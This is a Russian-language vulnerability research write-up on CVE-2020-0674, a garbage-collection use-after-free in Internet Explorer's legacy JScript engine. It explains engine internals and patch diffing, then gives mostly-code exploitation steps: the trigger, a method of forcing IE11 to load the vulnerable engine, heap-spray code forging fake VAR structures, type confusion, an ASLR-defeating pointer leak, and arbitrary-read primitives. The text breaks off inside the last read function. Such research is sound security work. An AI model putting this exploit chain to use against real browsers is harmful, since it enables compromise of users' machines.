[0, 0].sort(exploit); // Trigger the bug
function exploit(firstE1, secondE1) {
// 'firstE1' and 'secondE1' are untracked
var objs = new Array(); // Create an array
for(var i = 0; i < 6000; i++) objs[i] = new Object(); // Fill it with objects
firstE1 = objs[100]; // Point to one of the objects with an untracked variable
for(var i=0; i < 6000; i++) objs[i] = 0; // Clear references to all Objects in the array
CollectGarbage(); // Perform Garbage Collection
firstE1 + "A"; // Cause a dereference
return 0;
}
Когда этот код выполняется с помощью программы wscript, трассировка стека ниже показывает сбой, подтверждая, что сбой произошел во время метода IsAStringObj.
Код:
00000000`001edb48 000007fe`f37bda58 jscript!VAR::IsAStringObj+0x1d
00000000`001edb50 000007fe`f37825bc jscript!CScriptRuntime::Add+0x28
00000000`001edba0 000007fe`f37820cd jscript!CScriptRuntime::Run+0x3ed
00000000`001ede50 000007fe`f3786c5b jscript!ScrFncObj::CallWithFrameOnStack+0x16c
00000000`001ee060 000007fe`f37e19a4 jscript!ScrFncObj::Call+0xb7
00000000`001ee100 000007fe`f37e5e81 jscript!CallComp+0xb4
00000000`001ee1a0 000007fe`f37e7b91 jscript!JsArrayFunctionHeapSort+0x4cd
00000000`001ee2c0 000007fe`f3788a5c jscript!JsArraySort+0x241
00000000`001ee370 000007fe`f37b78f6 jscript!NatFncObj::Call+0x14c
00000000`001ee420 000007fe`f3788702 jscript!NameTbl::InvokeInternal+0x41b
00000000`001ee510 000007fe`f3786f12 jscript!VAR::InvokeByName+0x8b0
00000000`001ee720 000007fe`f378701d jscript!VAR::InvokeDispName+0x89
00000000`001ee7a0 000007fe`f3785061 jscript!VAR::InvokeByDispID+0x9dd
00000000`001ee7f0 000007fe`f37820cd jscript!CScriptRuntime::Run+0x3688
00000000`001eeaa0 000007fe`f3786c5b jscript!ScrFncObj::CallWithFrameOnStack+0x16c
00000000`001eecb0 000007fe`f3786abb jscript!ScrFncObj::Call+0xb7
00000000`001eed50 000007fe`f378abfc jscript!CSession::Execute+0x1a7
00000000`001eee20 000007fe`f3781f35 jscript!COleScript::ExecutePendingScripts+0x17a
00000000`001eeef0 00000000`ff4dc12f jscript!COleScript::SetScriptState+0x61
00000000`001eef20 00000000`ff4dbd09 wscript!CHost::RunStandardScript+0x29f
00000000`001eef70 00000000`ff4dd70c wscript!CHost::Execute+0x1d5
00000000`001ef230 00000000`ff4dae9c wscript!CHost::Main+0x518
00000000`001ef840 00000000`ff4db13f wscript!RunScript+0x6c
00000000`001efb60 00000000`ff4d97da wscript!WinMain+0x1ff
00000000`001efbc0 00000000`773f556d wscript!WinMainCRTStartup+0x9e
00000000`001efc60 00000000`7765372d kernel32!BaseThreadInitThunk+0xd
00000000`001efc90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
Хотя это устаревший движок, Internet Explorer 11 можно заставить загружать эту dll вместо текущей, принудительно переключив браузер в режим совместимости с Internet Explorer 8.
Это можно сделать, используя атрибут языка сценариев, не поддерживаемый JScript 9, например языки кодирования или компактные языки.
JavaScript:
<meta httpd-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="jscript.encode">
/* Exploit */
</script>
<script language="jscript.compact">
/* Exploit */
</script>
Видео, показывающее, что эта уязвимость может быть активирована в Internet Explorer 11, можно увидеть ниже:
Хотя тривиально создать триггер для ошибки, используя только описание, не понимая, в чем заключается основная причина, упускается значительный объем знаний, и это также может привести к потенциально отсутствию неоткрытых ошибок, которые похожи по своей природе.
Интерпретатор Jscript
Прежде чем углубиться в уязвимость, необходимо изучить сам движок Jscript. Вы не сможете найти основную причину уязвимости, если не понимаете код, в котором она находится.
JScript - это интерпретируемый язык, что означает, что в процессе выполнения кода задействован ряд компонентов:
+ Сканирование - принимает входной сценарий и токенизирует его (этим занимается класс Scanner). На этом этапе проверяется лексическая корректность.
+ Анализ и компиляция - Создает AST и генерирует Microsoft P-Code (оба выполняются классом Parser). На этом этапе проверяется синтаксическая правильность.
+ Выполнение - берет сгенерированный P-код и выполняет его.
Важно отметить, что хотя сканирование и синтаксический анализ могут показаться отдельными шагами, на самом деле они чередуются друг с другом. Это сделано для того, чтобы избежать потери вычислительной мощности при обнаружении ошибки. Чтобы объяснить это, рассмотрим следующий сценарий:
JavaScript:
var first = 23 +;
var second = new Object();
var third = new Object();
var fourth = new Object();
Первая строка вызовет ошибку, потому что, хотя 23 + является лексически правильным, он не является синтаксически правильным. Однако, если бы сканирование не зависело от синтаксического анализа, оставшаяся часть кода была бы просканирована и немедленно отброшена из-за ошибки, таким образом тратя ресурсы на избыточные задачи.
После выполнения этих двух шагов происходит выполнение P-кода. P-Code - это серия промежуточных языков, написанных Microsoft и используемых при реализации таких языков, как Microsoft Visual Basic. JScript использует язык P-Code для выполнения кода с использованием простых кодов операций на стековой машине. Ядро этой функциональности находится в функции CScriptRuntime::Run, которая использует таблицу переходов, чтобы решить, какую базовую операцию выполнить с использованием опкода.
Приведенный ниже пример призван дать представление о том, как код JavaScript преобразуется в P-код:
JavaScript:
var aaa = new Object();
var bbb = aaa;
Это приведет к следующему P-коду (исключая вызовы сборщика мусора):
Код:
// Scope setup
Create var aaa
Create var bbb
// var aaa = new Object();
Push address of aaa
Push the value of object Object // (1)
Pop a value and create object of that type. The result is pushed onto the stack // (2)
Pop a value off the stack and pop the variable to assign it to off the stack // (3)
// var bbb = aaa;
Push the address of bbb
Push the value of aaa // (4)
Pop a value off the stack and pop the variable to assign it to off the stack // (5)
После выполнения инструкций в пунктах 1-5 стек переменных выглядит следующим образом:
Код:
After point 1. [aaa, ptr to Object]
After point 2. [aaa, new Object]
After point 3. []
After point 4. [bbb, aaa]
After point 5. []
Переменные и объекты в jscript.dll
Требуется понимание того, как различные элементы размещаются в памяти, поскольку уязвимость связана с тем, как движок обрабатывает отслеживание переменных. Эта информация чрезвычайно важна для определения основной причины этой уязвимости.
В JScript переменные представлены в следующей структуре VAR:
Код:
struct VAR {
int64 type; // The type of this object (Array, Integer, Float, ...) - Although of size short but for alignment, it takes up a full 64-bit value.
void *obj_ptr; // Either points to the object for this variable (for example a C++ object or BSTR) or acts as storage for an inline value.
VAR *next_var_ptr; // Mostly unused and not always a VAR pointer when it is used but acts as so during GC when calling scavenger functions.
};
По сути, это то же самое, что и структура VARIANT. Ряд значений типов можно найти на веб-сайте Microsoft Docs.
Стековая машина, описанная в разделе интерпретатора, работает со стеком, который содержит значения, хранящиеся в виде структур VAR.
Что касается объектов, JScript разделяет их на две категории: нативные и ненативные. Ненативные объекты создаются веб-разработчиками на JavaScript. Примером этого может быть:
Код:
var non_native = {name: 'Non-native'};
С другой стороны, нативные объекты (также известные как встроенные) - это те, для которых функциональность запрограммирована в самом движке. Примеры этого: Date, RegExp и Array. Все эти классы наследуются от класса NameTbl, который определяет поведение объекта по умолчанию. Ниже вы можете увидеть, как объект Array переопределяет некоторые унаследованные функции:
Строки, которые были проанализированы механизмом (например, имена переменных в коде JavaScript, которые необходимо найти механизму), хранятся в структуре, называемой символом. Он представлен с использованием структуры SYM следующим образом:
Код:
struct SYM {
wchar_t *symbol; // A pointer to the string that this structure represents.
unsigned int length; // The length of the string in wchar_t's.
int hash; // The hash value for the symbol.
short is_bstr; // Whether symbol is a BSTR or Psz.
int bstr_to_be_freed; // Whether the string has been marked to be freed.
};
Хотя SYM используются для поиска, сами имена и значения свойств фактически хранятся в отдельной структуре. Вот как имя переменной связано с конкретным объектом или значением:
Код:
struct VVAL {
VAR variant; // The VAR value that this name relates to (For example, the object that the name refers to).
void *vval_type; // Appears to be 0x8 when the symbol is for a function such as a constructor, or 0x19 when the symbol is for a property such as the String length property.
int hash; // A 32-bit hash value.
unsigned int name_length; // A 32-bit number that says how many wchar_t values are in the name.
VVAL *next; // A pointer to the next VVAL property.
VVAL *next_hashbucket_vval; // If the hash of this object matches another in the namelist, the pointer for this struct replaces the old pointer and the old pointer is instead placed here to act as a singly-linked list.
int id_number; // The index of the property, incremented for each property that is made).
wchar_t name[]; // The wchar_t string.
};
Сборка мусора в jscript.dll
Поскольку CVE-2020-0674 представляет собой проблему со сборкой мусора, важно понимать, как унаследованный сборщик мусора JScript работает внутри.
Функции GC в движке используются для выполнения ряда шагов:
+ Mark - Перемещается по VAR и отмечает их для освобождения.
+ Scavenge - Вызывает функции сборщика, чтобы определить, какие VAR используются в настоящее время, и снимает с них отметку.
+ Reclaim - Освобождает VAR, которые все еще помечены.
В jscript.dll сборщик мусора использует серию двусвязных блоков. Каждый блок содержит место для хранения 100 структур VAR. Блоки имеют форму структуры, называемой GcBlock:
Код:
struct GcBlock {
GcBlock *forward;
GcBlock *backward;
VAR storage[100];
};
Когда весь блок освобожден (либо в функции GcBlockFactory::FreeBlk, либо в функции GcAlloc::ReclaimGarbage), он добавляется в список свободных блоков, готовых к использованию при выделении следующего блока. Однако, если 50 блоков уже находятся в свободном списке, тогда блок не добавляется в список, а вместо этого освобождается.
Чтобы освободить блок, сначала нужно освободить все VAR, которые он содержит. VAR помечается для сбора, устанавливая 12-й бит типа. Если функция очистки объявляет, что эта переменная все еще используется, бит устанавливается в 0.
Основная логика для всего этого заключается в функции GcContext::CollectCore, которая маркирует переменные (GcContext::SetMark), вызывает функции мусорщика, а затем восстанавливает их (GcContext::Reclaim).
Функции мусорщика - это либо корневые мусорщики, такие как ScavVarList::ScavengeRoots, либо сборщики объектов, которые выполняют функцию NameTbl::ScavengeCore (или функцию, которую объект переопределил, например RegExpObj::ScavengeCore), которые запускаются для каждого объекта, который в настоящее время существует.
Процесс сборки мусора запускается после ряда эвристических действий, но может быть вызван вручную в коде с помощью функции JavaScript CollectGarbage(), как это сделано в POC. Это может быть использовано разработчиком эксплоита для выполнения и управления кучей для структурирования фрагментов определенным образом, чтобы упростить эксплуатацию уязвимостей.
Анализ
Теперь перейдем к анализу основной причины рассматриваемой уязвимости. Для начала можно использовать дифференциальную отладку. Это метод, с помощью которого индивидуум отслеживает две трассировка и сравнивает полученные пути. При этом можно определить различия в исполнении и, следовательно, изменения, которые были внесены в код, что делает его особенно актуальным для реверс инжиниринга.
Просматривая следы функций во время затронутого кода, исправление становится значительно более четким. При базовом понимании приведенного выше JScript GC очевидно, что в исходном триггере переменные firstE1 и secondE1 не связаны при создании. Дифференциальная отладка может использоваться перед вызовом сортировки и сразу после начала выполнения обратного вызова.
Минимизированный тестовый пример для этого показан ниже:
JavaScript:
WScript.Echo("Start");
[0, 0].sort(exploit);
function exploit(firstE1, secondE1) {
WScript.Echo("End");
return 0;
}
WScript.Echo используется здесь как функция блокировки, которая предоставляет всплывающее окно (аналогично обычной функции предупреждения JavaScript) на любом конце интересующей функции. При попадании в первый вызов Echo запускается трассировка функции. Затем она останавливается при втором вызове Echo.
Этот PoC был протестирован на обновлениях KB4534251 (до патча) и KB4537767 (после патча), и результаты сравнивались.
Был внесен ряд изменений в функции, которые, вероятно, были связаны с рефакторингом командой разработчиков, таких как удаление функции VAR::VAR и изменение функции CallWithFrameOnStack, обрабатывающей логику вызова основной функции, на то, чтобы быть оболочкой для новой функция под названием PerformCall (возможно, чтобы немного усложнить сравнение патчей из-за несовпадения имен функций или из-за того, что имя функции больше не соответствует самому коду).
После сокращения количества вызовов функций, которые остаются прежними, очевидное различие состоит в том, что новый объект с именем ScavVarList был создан до вызова CscriptRuntime::Run. Во время инициализации объекта также вызывается IScavengerBase::LinkToGc, который указывает, что это добавление может быть ключом к патчу.
Как следует из названия, ScavVarList - это объект-мусорщик, который снимает отметку с объектов во время сборки мусора и, следовательно, соответствует описанию уязвимости.
Чтобы сделать это более понятным, можно использовать сравнение патчей, чтобы определить, где этот объект создается в PerformCall и что делается до вызова функции в CallWithFrameOnStack.
Обе функции явно довольно сильно различаются, однако в обеих остается ряд основных блоков. Выделив важные строки этого кода до и во время фактического вызова CScriptRuntime::Run, становится ясно, что основным отличием в настройке вызова является введение объекта ScavVarList:
Проверка
Хотя на данный момент основная причина может показаться ясной, между уязвимой версией и исправленной версией был проведен значительный рефакторинг, поэтому проверка является довольно важной. При прерывании вызова IScavengerBase::LinkToGc и пропуске исходная ошибка запускается с тем же сбоем, что подтверждает теорию.
Эксплуатация - путаница типов
Ошибки использования после освобождения интересны, но для их использования необходимо проделать гораздо больше работы. В разделе эксплуатации обсуждаются некоторые концепции для x64-версии jscript. Первым шагом является преобразование этой ошибки в путаницу типов путем перераспределения освобожденной области, на которую указывает неотслеживаемая переменная, и создания фальшивого объекта. Путаница типов позволяет выполнять гораздо более широкий спектр атак, создавая примитивы эксплоитов.
Чтобы вызвать путаницу типов, давайте рассмотрим исходный макет памяти после ввода обратного вызова сортировки и установки untracked_1:
Переменная untracked_1 указывает на объект в массиве. В памяти этот объект находится в структуре GcBlock, как упоминалось в разделе GC. Обратите внимание, что до объекта, на который указывает неотслеживаемая переменная, есть еще 50 GcBlocks (что соответствует 500 сохраненным переменным). Это фундаментально для эксплуатации UAF, поскольку первые 50 GcBlocks не будут освобождены, а вместо этого будут добавлены в список свободных блоков.
После вызова функции CollectGarbage структура памяти будет выглядеть следующим образом:
Переменная untracked_1 теперь указывает на освобожденную память. Задача здесь - разместить контролируемые данные по этому разделу. Для распределения по этим свободным фрагментам размер данных должен соответствовать (или почти совпадать) с размером свободного фрагмента. Этот размер блока можно вычислить, посмотрев на структуру GcBlock:
- Прямой указатель (8 байт)
- Обратный указатель (8 байт)
- 100 структур VAR (100 * 24)
--Тип VAR (8 байт)
-- Указатель на объект VAR (8 байт)
-- Неиспользуемый VAR или следующий указатель (8 байтов)
В результате получается блок размером 0x970 байт.
Не отслеживаемая переменная может указывать на любое место в массиве VAR этого блока, поэтому очевидным решением будет распыление целевых данных по всему фрагменту (по сути, создание поддельного GcBlock). Также неизвестно, на какой блок будет указывать переменная, поэтому необходимо будет освободить большое количество GcBlocks, чтобы поддельный спрей GcBlock можно было повторить несколько раз.
Поддельная структура VAR может быть сгенерирована с помощью вспомогательной функции makeVariant, описанной в анализе CVE-2018-8653, проведенном McАfee. Ниже представлена аннотированная форма этой функции:
JavaScript:
function makeVariant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) { // Make a variant
var charCodes = new Array();
charCodes.push(
// type
type, 0, 0, 0,
// obj_ptr
obj_ptr_lower & 0xffff, (obj_ptr_lower >> 16) & 0xffff, obj_ptr_upper & 0xffff, (obj_ptr_upper >> 16) & 0xffff,
// next_ptr
next_ptr_lower & 0xffff, (next_ptr_lower >> 16) & 0xffff, next_ptr_upper & 0xffff, (next_ptr_upper >> 16) & 0xffff
);
return String.fromCharCode.apply(null, charCodes);
}
Эта функция генерирует строку из 24 байтов (размер структуры VAR), которая выглядит как VAR в памяти.
Один из способов вызвать выделение заданного размера - использовать свойства JavaScript, чтобы вызвать выделение. В JScript NameList используется для связывания информации, такой как имена свойств, и когда создается новое свойство, он выделяет пространство для хранения структуры VVAL, описанной ранее. Однако размер нашей строки не может быть точно таким, какой требуется, поскольку необходимо учитывать заголовки структуры, преобразования размера символов и любые данные, которые необходимо сохранить в структуре VVAL.
Функция NameList::FCreateVval использует функцию NoRelAlloc::PvAlloc для распределения данных. Размер, который FCreateVval передает PvAlloc, составляет:
Код:
(length_of_property_name * 2 + 0x42)
Затем PvAlloc использует это значение во втором уравнении, которое используется в качестве параметра для распределения malloc:
Код:
size_parameter*2 + 8
Таким образом, имя свойства длиной 0x239 приводит к выделению ровно 0x970 байт. Когда этот фрагмент выделяется, имя свойства UTF-16 копируется, начиная со смещения 0x48. Это означает, что требуется заполнение, чтобы выровнять поддельные переменные с переменными GcBlock. Количество отступов рассчитывается следующим образом:
Код:
( 0x48 (write offset) - 0x8 (GcBlock forward pointer) - 0x8 (GcBlock backward pointer) ) % 0x18 (since each VAR is 0x18 bytes)
= the write offset is 8 bytes into a location where a GcBlock VAR is expected.
0x18 - 0x8 = 0x10, therefore 0x10 bytes of padding is required
При повторении этого в конечном итоге произойдет перекрытие между местоположением, на которое указывает неотслеживаемая переменная, и строкой имени свойства. Таким образом, макет в памяти будет следующим:
Это перекрытие позволит рассматривать поддельный VAR как настоящий VAR. POC путаницы типов можно увидеть ниже:
JavaScript:
// Start with 16 bytes of padding to correctly align (Each string character is UTF-16)
var variants = "AAAAAAAA";
while(variants.length < 0x239) {
// Generate a number of variants with type 3 (int) and the value 1234
variants += makeVariant(0x0003, 1234, 0x00000000, 0x00000000, 0x00000000);
}
var size = 20000
// Will be used to create VVAL structures
var overlay = new Array();
for(var i=0; i < size*2; i++) {
// Create a large number of arrays for later
overlay[i] = new Array();
}
function compare(untracked_1, untracked_2) {
// Used to create a number of GcBlocks to be freed
var spray = new Array();
// Create enough objects to fill more than 50 GcBlocks
for(var i = 0; i < size; i++) spray[i] = new Object();
// Point to one of the values in a GcBlock that will be freed
untracked_1 = spray[7777];
// Cause all objects to now be unreferenced, meaning that all GcBlocks will be freed in GC
for(var i=0; i < size; i++) spray[i] = 0;
// Cause a UAF by freeing the GcBlock that untracked_1 points in
CollectGarbage();
for(var i=0; i < size*2; i++) {
// Type Confusion: Spray VVAL structures. This will malloc with a length of ((2*len(name) + 0x42)*2 + 8). The aim is to allocate the size of GcBlock. This is because untracked_1 points to a var in a GcBlock.
overlay[i][variants] = 1;
}
// Read the VAR
WScript.Echo(untracked_1);
// Since the compare function must be
return 4;
}
// Trigger the exploit
[0,0].sort(compare);
После того, как это будет выполнено, появится всплывающее окно, показывающее число 1234, что свидетельствует о путанице типа от строки имени к целочисленной VAR.
Однако у этой методологии есть очевидная проблема. В настоящее время вероятность успеха все еще довольно низка, так как есть только один неотслеживаемый указатель. Потребуется несколько неотслеживаемых переменных, чтобы увеличить вероятность перекрытия. Ivan Fratric в своем частичном эксплойте для CVE-2018-8353 (в котором свойство lastIndex объекта RegExp не отслеживалось) создал несколько объектов RegExp и использовал lastIndex каждого из них, чтобы указать на другое смещение в целевом массиве. Это означало, что после освобождения объектов в массиве каждый из этих объектов RegExp будет указывать на область, которая могла перекрываться:
Однако запуск функции сортировки несколько раз подряд не является вариантом, поскольку сборщик мусора должен происходить внутри него, а полезными остаются только две неотслеживаемые переменные. Сравнимый метод для этого - использовать рекурсию. Функция сортировки вызовет sort для массива с собой в качестве обратного вызова. Каждая глубина этой рекурсии добавляет еще две неотслеживаемые переменные. В результате функция сортировки становится такой:
JavaScript:
// Will be used to create VVAL structures
var overlay = new Array();
for(var i=0; i < 20000; i++) {
// Create a large number of arrays for later
overlay[i] = new Array();
}
var spray = new Array();
// Create enough objects to fill more than 50 GcBlocks
for(var i = 0; i < 20000; i++) spray[i] = new Object();
// Track the depth of the recursive calls
var depth = 0;
// untracked_1 and untracked_2 are, well, untracked
function compare(untracked_1, untracked_2) {
// The VAR stack isn't that big, so can only handle so many calls
if(depth == 300) {
// At this point there are 600 variables pointing to memory about to be unallocated
// Cause all objects to now be unreferenced, meaning that all GcBlocks will be freed in GC
for(var i=0; i < 20000; i++) spray[i] = 0;
// Cause a UAF by freeing the GcBlock that untracked_1 points in
CollectGarbage();
for(var i=0; i < 20000; i++) {
// Type Confusion: Spray VVAL structures. This will malloc with a length of ((2*len(name) + 0x42)*2 + 8). The aim is to allocate the size of GcBlock. This is because untracked_1 points to a var in a GcBlock.
overlay[i][variants] = 1;
}
}
else {
// Point to one of the values in a GcBlock that will be freed.
untracked_1 = spray[depth*2];
// May as well use both untracked variables!
untracked_2 = spray[depth*2 + 1];
// Increase the depth
depth += 1;
// Recursive call
[0,0].sort(compare);
// After the recursion is over, check both variables
if(typeof untracked_1 === "number") WScript.Echo(untracked_1);
if(typeof untracked_2 === "number") WScript.Echo(untracked_2);
}
return 4;
}
Эксплуатация — Infoleak
Причина использования свойств объекта для эксплоита двоякая. Помимо поддержки выделения определенного размера, он может использоваться для утечки адресов множеством различных способов, таким образом обходя ASLR.
Первое стало возможным благодаря тому факту, что строка свойств объекта хранится в первой половине выделенной области, возможно утечка указателей, которые остались от предыдущей структуры GcBlock, поскольку блоки кучи не обнуляются при освобождении или выделении для производительности причины. Это означает, что можно создать поддельный VAR и предоставить только значение типа. Рассмотрим освобожденный блок, содержащий следующие переменные:
Код:
[ type 0x81 ] [ obj_ptr 0x412b9 ] [ next_var 0x0 ]
[ type 0x81 ] [ obj_ptr 0x41a04 ] [ next_var 0x0 ]
[ type 0x81 ] [ obj_ptr 0x41e24 ] [ next_var 0x0 ]
Добавив один символ в конец спрея VAR, можно изменить тип последней переменной:
Код:
[ type 0x3 ] [ obj_ptr 0x41414 ] [ next_var 0x0 ]
[ type 0x3 ] [ obj_ptr 0x41414 ] [ next_var 0x0 ]
[ type 0x5 ] [ obj_ptr 0x41e24 ] [ next_var 0x0 ] <-- Only the Type was overwritten
Поскольку тип был изменен с 0x81 на 0x5, obj_ptr принимает другое значение. В этом случае 0x5 - это значение типа для 64-битного числа с плавающей запятой, а значение obj_ptr обрабатывается как значение с плавающей запятой, а не как указатель, который может быть прочитан для утечки указателя объекта. Таким образом, поддельный код генерации GcBlock может быть изменен на следующий:
JavaScript:
// Paddding
var variants = "AAAAAAAA";
// Shorter VAR length as not to go past the 0x970
while(variants.length < 0x230) {
// Generate a number of variants with type 3 (int) and the value 1234
variants += makeVariant(0x0003, 1234, 0x00000000, 0x00000000, 0x00000000);
}
// End the variants block with the value 5
variants += "\u0005";
Второй метод оказался гораздо более полезным и включает утечку указателя на следующее свойство из структуры VVAL. Он включает в себя манипулирование значением хеш-функции в структуре, чтобы оно действовало как тип VAR. Посмотрев на хеш-функцию, становится ясно, что одно-символьное имя может использоваться для того, чтобы значение хеш-функции было конкретным результатом:
Если неотслеживаемая переменная указывала на значение хеш-функции в структуре VVAL (путем тщательного дополнения имен свойств, чтобы это произошло), хеш-код будет рассматриваться как тип этой VAR, а следующий указатель свойства будет рассматриваться как указатель объекта. Тогда возникает вопрос, как можно использовать односимвольное имя для создания строки, достаточно большой, чтобы вызвать перераспределение освобожденного GcBlock. Это может быть решено, если понять, почему PvAlloc работает именно так; Причина того, что выделение имени свойства из 0x239 символов расширяется во время вычисления выделения до 0x970 байт, заключается в том, что PvAlloc выделяется не для одного VVAL, а также для любых других связанных структур VVAL, которые могут поместиться в этой области, например, других имен свойств для конкретного объекта. Поэтому выделение однобайтового имени свойства "\u0005" после создания этого 0x239-символьного имени свойства приведет к тому, что PvAlloc вернет указатель внутри 0x970-байтового блока сразу после предыдущего имени свойства, поскольку исходный VVAL занял только 0x4fa байтов ( VVAL struct + name string), оставляя 0x476 байт свободного места в выделенной области.
Чтобы пропустить указатель на следующее свойство, необходимо создать третье свойство, чтобы заполнить указатель следующего свойства, манипулирующего хешем.
Это можно записать на JavaScript как следующую функцию сортировки:
JavaScript:
function initial_exploit(untracked_1, untracked_2) {
untracked_1 = spray[depth*2];
untracked_2 = spray[depth*2 + 1];
if(depth > 200) {
spray = new Array(); // Erase spray
CollectGarbage(); // Add to free list
for(i = 0; i < overlay_size; i++) {
overlay[i][variants] = 1;
overlay[i][padding] = 1; // Required in order to align the untracked variable
overlay[i]["\u0005"] = 1; // The hash-manipulating value.
overlay[i][leaked_var] = 1; // The next property that will get leaked.
}
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
// Save pointers
depth += 1;
sort[depth].sort(initial_exploit);
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
Это приводит к следующему VVAL в памяти, в котором хэш и name_len вместе составляют 0x200000005, что делает тип VAR равным 0x0005:
Эксплуатация — примитив произвольного чтения
Один из наиболее полезных в эксплуатации примитивов - это примитив произвольного чтения. В сочетании с утечкой информации это может оказаться невероятно полезным, позволяя злоумышленнику постоянно перемещаться по указателям в объектах, чтобы определить адрес целевого пункта назначения. В JScript есть несколько способов создать произвольный примитив чтения.
Один тривиальный способ заключается в создании фальшивого строкового объекта, в котором указатель на объект VAR является местом для чтения. Строковый метод charCodeAt может использоваться для чтения значения WORD по этому адресу. Предостережение этого метода заключается в том, что если DWORD перед адресом равен нулю, то с адреса нельзя прочитать байты. Это связано с тем, что строковый объект является BSTR, в результате чего DWORD перед началом строки действует как размер строки. Эту проблему можно обойти, используя вместо этого свойство length для чтения нескольких байтов. Также следует учитывать сдвиг вправо, поскольку фактическое значение длины (длина BSTR) делится на два, поскольку BSTR считает символы байтами, тогда как JavaScript считает символы в UTF-16. Следовательно, произвольный байт можно прочитать, установив указатель строки на два байта вперед, сдвинув значение длины вправо еще на 7 бит и выполнив операцию И над значением с 0xFF, чтобы прочитать значение символа.
После запуска первоначального эксплоита для создания ряда указателей на строковые объекты уязвимая функция не нуждается в повторном запуске. Поскольку неотслеживаемые переменные были сохранены в массиве, их указатели на объекты по-прежнему указывают на исходные адреса GcBlock, поэтому все, что нужно сделать, это удалить существующие значения свойств, собрать мусор, чтобы стереть их, и заменить их, распыляя новые. Стабильность этого метода может быть улучшена путем распыления идентификационных номеров во время эксплоита, чтобы найти точный объект, который необходимо освободить, чтобы перераспределить по выбранной неотслеживаемой переменной. Например:
JavaScript:
// Exploits the vulnerability
function initial_exploit(untracked_1, untracked_2) {
untracked_1 = spray[depth*2];
untracked_2 = spray[depth*2 + 1];
if(depth > 200) {
spray = new Array();
CollectGarbage();
for(i = 0; i < overlay_size; i++) {
overlay[i][variants] = 1;
overlay[i][padding] = 1;
overlay[i][leak] = 1;
overlay[i][leaked_var] = i; // Used to identify which property name is being used
}
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
depth += 1;
sort[depth].sort(initial_exploit);
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
// Runs the exploit for the first time and leaks a VVAL pointer. The VAR assigned to the property will be a number containing the identifier number
function leak_var() {
reset(); // Resets some objects and arrays so the exploit can be run a second time
variants = Array(570).join('A'); // Create the variants
sort[depth].sort(initial_exploit); // Exploit
overlay_backup = overlay; // Prevent it from being freed and losing our leaked pointer
leak_lower = undefined;
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number" && total[i] % 1 != 0) {
leak_lower = (total[i] / 4.9406564584124654E-324); // Contains the VVAL address
break;
}
}
}
// Runs the exploit a second time to cause a type confusion that creates a variable of type 0x80 pointing to the VAR at the start of the leaked VVAL. When dereferenced, the number will be the identifier of the object.
function get_rewrite_offset() {
reset(); // Resets some objects and arrays so the exploit can be run a second time
set_variants(0x80, leak_lower); // Find the object identifier
sort[depth].sort(initial_exploit); // Exploit
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number") {
leak_offset = parseInt(total[i] + ""); // Reads the object identifying number. Since this is of type 0x80 and not directly 0x3, it cannot be easily read directly, so converting it to a string is a quick solution.
break;
}
}
}
// Run
leak_var();
get_rewrite_offset()
Как только это будет выполнено, целевой объект можно легко освободить и перераспределить, создав следующую функцию JavaScript:
JavaScript:
function rewrite(v, i){
CollectGarbage(); // Get rid of anything that still needs to be freed before starting
overlay_backup[leak_offset] = null; // Remove the reference to target object
CollectGarbage(); // Free the object
overlay_backup[leak_offset] = new Object(); // New object - Should end up in the same slot as the last object
overlay_backup[leak_offset][variants] = 1; // Reallocate the newly freed location
overlay_backup[leak_offset][padding] = 1; // Perform the padding again
overlay_backup[leak_offset][leak] = 1; // Create the leak var again
overlay_backup[leak_offset][v] = i; // Reallocate over the area with a new property name and a new VAR assigned. This name will be at a known location since the address of this VVAL is already known
}
После того, как местоположение можно надежно переписать, следующим шагом будет создание VAR, указывающего на строку имени последнего свойства. Поскольку это имя можно изменить с помощью функции перезаписи, его можно использовать для создания поддельного VAR, например:
JavaScript:
function get_fakeobj() {
rewrite(make_variant(3, 1234)); // Turn the name of the property into a variant
reset();
set_variants(0x80, leak_lower + 64); // Create a fake VAR pointing to the name of the property
sort[depth].sort(initial_exploit); // Exploit
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number") {
if(total[i] + "" == 1234) {
fakeobj_var = total[i];
break;
}
}
}
}
С помощью этого поддельного объекта функцию перезаписи можно использовать для создания примитива чтения, изменив указатель строки поддельного объекта на целевой адрес:
JavaScript:
// Rewrites the property and changes the fakeobj_var variable to a string at a specified location. This sets up the read primitive.
function read_pointer(addr_lower, addr_higher, o) {
rewrite(make_variant(8, addr_lower, addr_higher), o);
}
// Reads the byte at the address using the length of the BSTR.
function read_byte(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o); // Use the length. However, when the length is found, it is divided by 2 (BSTR_LENGTH >> 1) so changing this offset allows us to read a byte properly.
return (fakeobj_var.length >> 15) & 0xff; // Shift to align and get the byte.
}
// Reads the WORD (2 bytes) at the specified address.
function read_word(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o);
return ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
}
// Reads the DWORD (4 bytes) at the specified address.
function read_dword(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o);
lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 4, addr_higher, o);
upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
return lower + (upper << 16);
}
// Reads the QWORD (8 bytes) at the specified address.
function read_qword(addr_lower, addr_higher, o) {
// Lower
read_pointer(addr_lower + 2, addr_higher, o);
lower_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 4, addr_higher, o);
lower_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
// Upper
read_pointer(addr_lower + 6, addr_higher, o);
upper_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 8, addr_higher, o);
upper_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
